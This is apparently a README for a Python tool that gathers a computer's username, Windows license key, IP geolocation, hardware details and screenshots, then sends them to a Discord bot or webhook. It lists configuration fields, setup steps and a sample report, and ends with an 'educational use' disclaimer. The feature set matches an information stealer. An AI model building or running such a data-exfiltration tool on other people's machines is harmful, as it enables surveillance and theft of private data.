A Python-based tool for sending detailed system, network, and screenshot information to a Discord channel, either via Bot or Webhook.
- Public IP & ISP information (with location from IP-API)
- Local IPv4 addresses
- CPU model (e.g.,
AMD Ryzen 5 3600,Intel i5-11400) - GPU detection (NVIDIA, AMD, Intel)
- RAM & disk usage
- Windows license key extraction
- Current logged-in username
- Automatic screenshot capture and upload to Discord
- Sends output to Discord:
- via Bot (using Discord API)
- via Webhook (no bot account required)
- Centralized configuration file (
config.txt) - Works regardless of where the script is run from
The config.txt file controls all settings:
DISCORD_TOKEN=your_bot_token_here
DISCORD_CHANNEL_ID=123456789012345678
WEBHOOK_URL=https://discord.com/api/webhooks/xxxxx/yyyyy
OUTPUT_MODE=botFields:
DISCORD_TOKEN→ Your bot's token (only used ifOUTPUT_MODE=bot)DISCORD_CHANNEL_ID→ Channel ID for bot messagesWEBHOOK_URL→ Webhook URL (only used ifOUTPUT_MODE=webhook)OUTPUT_MODE→ Choosebotorwebhook
You can quickly edit the config by running:
setup.batrun install.bat
run 'setup.bat' with your bot token or webhook.
python info_bot.py or ss.py for screenshotThis script will:
- Take a full screenshot of the desktop using Pillow.
- Save it temporarily.
- Send it as an image file to your selected Discord channel or webhook.
- Automatically delete the temporary file after sending.
System & Network Report (local machine)
👤 Username: user123
🔑 Windows License Key: XXXXX-XXXXX-XXXXX-XXXXX-XXXXX
🌐 Public IP: 72.14.201.46
📍 Location: New York, NY, United States
📌 Coordinates: 40.7128, -74.0060
🏢 ISP: Verizon
💻 Local IPv4: 192.168.1.10
🖥 System: Windows-10-10.0.19045-SP0
⚙ CPU: AMD Ryzen 5 3600
💾 RAM: 16 GB
💽 Disk: 512 GB
🎮 GPU: NVIDIA GeForce GTX 1660 Ti
📷 Screenshot: [Attached Image]
This tool is intended for educational and authorized use only.
Do not run it on machines you do not own or have explicit permission to test.